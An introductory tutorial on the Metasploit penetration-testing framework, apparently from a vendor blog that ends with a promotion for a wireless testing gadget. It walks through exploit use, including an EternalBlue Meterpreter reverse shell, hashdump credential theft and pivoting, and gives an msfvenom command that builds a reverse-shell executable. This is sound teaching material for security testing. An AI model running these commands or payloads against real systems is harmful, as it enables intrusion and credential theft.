Metasploit Basics: An Overview

What Is Metasploit?

Metasploit is the most widely used penetration testing framework in the world. Created by H.D. Moore in 2003 as a Perl-based portable network tool, it was rewritten in Ruby and acquired by Rapid7 in 2009. Today it ships as part of every Kali Linux installation and is the backbone of countless security assessments.

The framework provides a structured way to find vulnerabilities, develop and test exploits, and perform post-exploitation tasks on target systems. Instead of hunting down individual exploit scripts from various sources and modifying each one separately, Metasploit gives you a consistent interface for thousands of exploits, payloads, and auxiliary tools.

There are two versions: the open-source Metasploit Framework (what most people use and what we'll cover here) and Metasploit Pro (a commercial product with a web interface, reporting features, and automation capabilities). The Framework is free and is what you'll encounter in CTFs, certifications, and most professional engagements.

Framework Architecture

graph TD
    subgraph Core["Metasploit Framework Core"]
        MSF[msfconsole] --> ML[Module Loader]
        MSF --> DB[(PostgreSQL Database)]
        MSF --> SE[Session Manager]
    end
    subgraph Modules["Module Types"]
        ML --> EX[Exploits]
        ML --> PL[Payloads]
        ML --> AUX[Auxiliary]
        ML --> POST[Post-Exploitation]
        ML --> ENC[Encoders]
        ML --> NOP[NOPs]
        ML --> EV[Evasion]
    end
    subgraph Payloads_Detail["Payload Categories"]
        PL --> SNG[Singles - Self-contained]
        PL --> STG[Stagers - Small first stage]
        PL --> STD[Stages - Sent after connection]
        STG --> MET[Meterpreter]
        STG --> SHL[Shell]
        STG --> VNC[VNC]
    end
    subgraph Output["Results"]
        SE --> SS[Active Sessions]
        SS --> LOOT[Loot / Credentials]
        SS --> PIVOT[Pivoting / Routing]
        DB --> HOSTS[Host Database]
        DB --> VULNS[Vulnerability Records]
    end

Metasploit Framework architecture - from the console through module loading to session management and results.

Metasploit is organized around several key components:

msfconsole is the primary interface. It's a command-line shell where you search for modules, configure options, and launch attacks. Nearly everything in Metasploit happens through msfconsole.

Modules are the building blocks. Each module is a Ruby script that performs a specific function - scanning, exploiting, gathering data, or escalating privileges. Modules are organized into categories (exploits, payloads, auxiliary, post, encoders, nops, and evasion).

The database (PostgreSQL) stores information about targets, discovered services, captured credentials, and session history. It persists between sessions, so you can stop and resume assessments without losing data.

Sessions represent active connections to compromised targets. When an exploit succeeds and delivers a payload, it creates a session that you interact with. Sessions can be shells (basic command lines) or Meterpreter sessions (full-featured post-exploitation environments).

Getting Started with msfconsole

On Kali Linux (or any system with Metasploit installed), start the console:

msfconsole

You'll see an ASCII art banner and a prompt: msf6 >. From here, the most important commands are:

search [term]         # Find modules by name, CVE, platform, or description
use [module path]     # Select a module to configure
info                  # Show detailed information about the selected module
show options           # Display configurable parameters
set [option] [value]  # Configure a parameter
run / exploit          # Execute the module
back                  # Deselect the current module
sessions              # List active sessions
sessions -i [id]      # Interact with a specific session

Before using the database features, initialize and start the database:

sudo msfdb init
sudo msfdb start

Once the database is running, information from scans and exploits is automatically stored. You can review it with commands like hosts, services, creds, and vulns.

Modules Explained

Metasploit's module system is what makes it powerful. As of recent versions, the framework contains over 4,000 modules. Understanding the categories helps you navigate this massive collection efficiently.

Each module has a path that describes its category, platform, and function. For example: exploit/windows/smb/ms17_010_eternalblue tells you it's an exploit, for Windows, targeting SMB, specifically the EternalBlue vulnerability (MS17-010).

Exploits

Exploit modules take advantage of specific vulnerabilities to execute code on target systems. They're the offensive core of Metasploit.

Exploits are categorized by platform and service:

• exploit/windows/ - Windows-specific exploits (SMB, RDP, IIS, etc.)
• exploit/linux/ - Linux-specific exploits (various services and kernels)
• exploit/multi/ - Cross-platform exploits (web applications, Java, etc.)
• exploit/unix/ - Unix/BSD-specific exploits

When you select an exploit, you configure it with target information (RHOSTS for the target IP, RPORT for the target port) and pair it with a payload. The exploit delivers the payload to the target, and if successful, you get a session.

Example workflow for a well-known exploit:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.40
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5
msf6 exploit(ms17_010_eternalblue) > run

Not every exploit will work against every target. Exploits are version-specific and often depend on exact configurations. The check command (available for some exploits) can verify whether a target is vulnerable before attempting exploitation.

Payloads

Payloads are the code that runs on the target after a successful exploit. They define what happens once you've breached a system.

Metasploit organizes payloads into three types:

Singles (Inline) are self-contained payloads that include everything in one package. They're stable and don't require a second connection, but they're larger. Example: windows/shell_reverse_tcp opens a reverse shell in a single payload.

Stagers are small payloads whose job is to establish a communication channel and download a larger second stage. They're denoted by a forward slash in the name. Example: windows/meterpreter/reverse_tcp - the stager (reverse_tcp) connects back to you and downloads the Meterpreter stage.

Stages are the larger components downloaded by stagers. Meterpreter is the most powerful stage, providing an interactive shell with extensive post-exploitation capabilities.

The naming convention tells you the type: windows/shell_reverse_tcp (single - no slash between shell and reverse) versus windows/shell/reverse_tcp (staged - slash between shell and reverse).

Meterpreter deserves special mention. It's Metasploit's flagship payload, running entirely in memory (leaving minimal forensic traces) and providing features like:

• File system navigation and transfer
• Process migration (moving to a different process for stability)
• Screenshot capture and keylogging
• Network pivoting (routing through the compromised machine)
• Credential dumping (hashdump)
• Persistence mechanisms
• Port forwarding

Auxiliary Modules

Auxiliary modules perform tasks that don't involve exploitation - scanning, fingerprinting, fuzzing, brute-forcing, and denial of service testing. They're often underappreciated but incredibly useful during the reconnaissance and enumeration phases of an assessment.

Common auxiliary module categories:

• Scanner modules - Port scanning, service detection, vulnerability checking
• Brute force modules - Password attacks against SSH, FTP, SMB, HTTP, and other services
• Fuzzer modules - Sending malformed data to discover crashes and potential vulnerabilities
• Spoof modules - ARP spoofing, DNS spoofing for man-in-the-middle attacks
• Sniffer modules - Capturing network traffic

Example - scanning for SMB signing configuration across a network:

msf6 > use auxiliary/scanner/smb/smb2
msf6 auxiliary(smb2) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(smb2) > set THREADS 10
msf6 auxiliary(smb2) > run

Auxiliary scanners work particularly well with the database. Results are automatically stored, so you can scan an entire subnet and then query the database for specific service versions or open ports.

Post-Exploitation Modules

Post modules run on already-compromised systems through active sessions. They handle everything that happens after you've gained access.

Categories include:

• Gather - Collecting information (passwords, browser data, system configuration, installed software)
• Escalate - Privilege escalation techniques
• Manage - System management (enabling RDP, adding users, clearing logs)
• Recon - Internal network reconnaissance from the compromised host

Post modules are used from within an active session:

meterpreter > run post/windows/gather/hashdump
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/windows/gather/enum_applications

The local_exploit_suggester is particularly valuable - it analyzes the target system and suggests privilege escalation exploits that are likely to work based on the OS version and patch level.

WiFi and Wireless Auxiliary Modules

Metasploit includes several auxiliary modules relevant to wireless security testing, though they're less commonly discussed than the network exploitation modules.

Wireless-related modules include:

• auxiliary/scanner/http/wireless_ap_detect - Detects wireless access points through their management interfaces
• auxiliary/server/capture/http - Creates a rogue HTTP server for capturing credentials (useful in evil twin scenarios)
• auxiliary/server/fakedns - Fake DNS server for redirecting traffic in captive portal attacks
• post/multi/gather/wireless_creds - Extracts saved WiFi credentials from compromised systems
• auxiliary/scanner/snmp/snmp_enum - Enumerates SNMP-enabled network devices (including wireless controllers)

While Metasploit isn't a primary wireless auditing tool (tools like aircrack-ng, Kismet, and dedicated hardware are better suited), these modules complement a wireless assessment. For example, after capturing credentials on a network using dedicated WiFi tools, you might use Metasploit to pivot through compromised hosts and attack internal infrastructure.

For dedicated wireless testing, tools like the BLEShark Nano handle the radio-level work - WiFi scanning, handshake capture, BLE enumeration - while Metasploit handles the exploitation of services and systems discovered through that wireless reconnaissance. The two approaches complement each other in a real assessment.

A Typical Metasploit Workflow

sequenceDiagram
    participant Tester
    participant MSF as msfconsole
    participant DB as Database
    participant Target
    
    Tester->>MSF: db_nmap -sV -sC 10.10.10.0/24
    MSF->>Target: Port scan and service detection
    Target-->>MSF: Open ports and service versions
    MSF->>DB: Store hosts and services
    
    Tester->>MSF: search type:exploit name:apache
    MSF-->>Tester: Matching exploit modules
    
    Tester->>MSF: use exploit/multi/http/apache_mod_cgi
    Tester->>MSF: set RHOSTS 10.10.10.5
    Tester->>MSF: set PAYLOAD linux/x64/meterpreter/reverse_tcp
    Tester->>MSF: set LHOST 10.10.14.2
    Tester->>MSF: run
    
    MSF->>Target: Deliver exploit + payload
    Target-->>MSF: Meterpreter session opened
    MSF->>DB: Store session info
    
    Tester->>MSF: sessions -i 1
    Tester->>MSF: run post/linux/gather/hashdump
    MSF->>DB: Store credentials
    
    Tester->>MSF: run autoroute -s 172.16.0.0/24
    Note over MSF,Target: Pivot to internal network

A complete Metasploit workflow - from initial scanning through exploitation, post-exploitation, and pivoting.

Here's how these components fit together in a realistic assessment:

Step 1: Scan and enumerate. Use db_nmap (Nmap integrated with the Metasploit database) to scan the target network. Results are automatically stored.

msf6 > db_nmap -sV -sC -O 10.10.10.0/24
msf6 > hosts
msf6 > services -p 445

Step 2: Identify attack surfaces. Review the stored data and search for exploits matching discovered services.

msf6 > vulns
msf6 > search type:exploit platform:windows name:smb

Step 3: Configure and launch exploits. Select a module, set parameters, choose a payload, and execute.

Step 4: Post-exploitation. Once you have a session, gather information, dump credentials, and look for paths to other systems.

Step 5: Pivot. Use compromised machines to reach deeper network segments. Meterpreter's autoroute feature and portfwd command let you tunnel traffic through sessions.

Step 6: Document. Throughout the process, take notes and screenshots. The database tracks your actions, but manual documentation ensures nothing is missed in the final report.

Beyond the Basics

Once you're comfortable with the core workflow, there's much more to explore:

Resource scripts automate repetitive tasks. You can write .rc files that contain sequences of Metasploit commands, then run them with resource [filename]. This is useful for setting up listeners, running standard scans, or automating common attack sequences.

Custom modules let you extend Metasploit with your own Ruby scripts. If you find a vulnerability and write an exploit, packaging it as a Metasploit module makes it reusable and integratable with the framework's payload and session management.

Msfvenom is Metasploit's standalone payload generator. It creates payloads in various formats (executables, scripts, shellcode) that can be delivered outside the framework. Example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f exe > shell.exe

Evasion modules help bypass antivirus and endpoint detection. They're an ongoing arms race with security vendors, so effectiveness varies.

API and RPC allow external tools and scripts to interact with Metasploit programmatically. This enables integration with larger automation frameworks and custom tooling.

Metasploit is deep enough that you could spend years exploring it. But the basics - search, use, set options, run - carry you through the vast majority of use cases. Master the workflow first, then expand into the advanced features as your assessments require them.

Building your penetration testing toolkit? The BLEShark Nano adds wireless reconnaissance capabilities - WiFi scanning, BLE enumeration, and handshake capture - that feed directly into your Metasploit workflow for comprehensive assessments.